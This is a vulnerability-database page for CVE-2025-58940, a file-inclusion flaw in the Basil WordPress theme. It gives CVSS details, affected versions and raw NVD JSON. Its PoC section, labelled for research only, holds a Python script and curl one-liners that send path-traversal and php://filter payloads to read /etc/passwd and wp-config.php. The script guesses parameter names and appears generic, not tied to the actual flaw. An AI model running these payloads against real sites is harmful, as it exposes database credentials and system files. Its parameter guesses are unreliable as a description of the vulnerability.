Security Vulnerability Report
中文
CVE-2025-58940 CVSS 8.1 HIGH

CVE-2025-58940

Published: 2025-12-18 08:16:02
Last Modified: 2026-04-27 20:16:21

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Basil basil allows PHP Local File Inclusion.This issue affects Basil: from n/a through <= 1.3.12.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:basil:*:*:*:*:*:wordpress:*:* - VULNERABLE
Basil Theme <= 1.3.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58940 PoC - WordPress Basil Theme LFI # Target: WordPress site with Basil theme <= 1.3.12 import requests import sys TARGET_URL = "http://target-site.com/" THEME_PATH = "wp-content/themes/basil/" def test_lfi(target): """Test for Local File Inclusion vulnerability""" # Common vulnerable parameters in WordPress themes vulnerable_params = [ "file", "template", "page", "theme", "style" ] # Files to test for LFI test_files = [ "../../../../../../../../etc/passwd", "../../../../../../../../windows/system32/drivers/etc/hosts", "../wp-config.php" ] print(f"[*] Testing LFI on {target}") for param in vulnerable_params: for file_path in test_files: # Test different include patterns payloads = [ f"{file_path}", f"{file_path}\0", f"php://filter/convert.base64-encode/resource={file_path}" ] for payload in payloads: try: # Test include via template parameter url = f"{target}{THEME_PATH}?{param}={payload}" response = requests.get(url, timeout=10) # Check for file content leakage if "root:" in response.text or "[boot loader]" in response.text: print(f"[!] VULNERABLE! Parameter: {param}, Payload: {payload}") return True # Check for base64 encoded content if "PD9waH" in response.text or "PD94bWwg" in response.text: print(f"[!] Possible LFI with PHP wrapper detected!") except requests.RequestException as e: print(f"[-] Error testing {url}: {e}") print("[*] No obvious LFI detected with basic tests") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] test_lfi(TARGET_URL) # Manual verification: # curl "http://target.com/wp-content/themes/basil/?file=../../../../../../../../etc/passwd" # curl "http://target.com/wp-content/themes/basil/?file=../wp-config.php"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58940", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:01.577", "lastModified": "2026-04-27T20:16:21.030", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Basil basil allows PHP Local File Inclusion.This issue affects Basil: from n/a through <= 1.3.12."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:basil:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.3.12", "matchCriteriaId": "5C1EC544-A34D-4ED3-A900-12212874F3C4"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/basil/vulnerability/wordpress-basil-theme-1-3-12-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}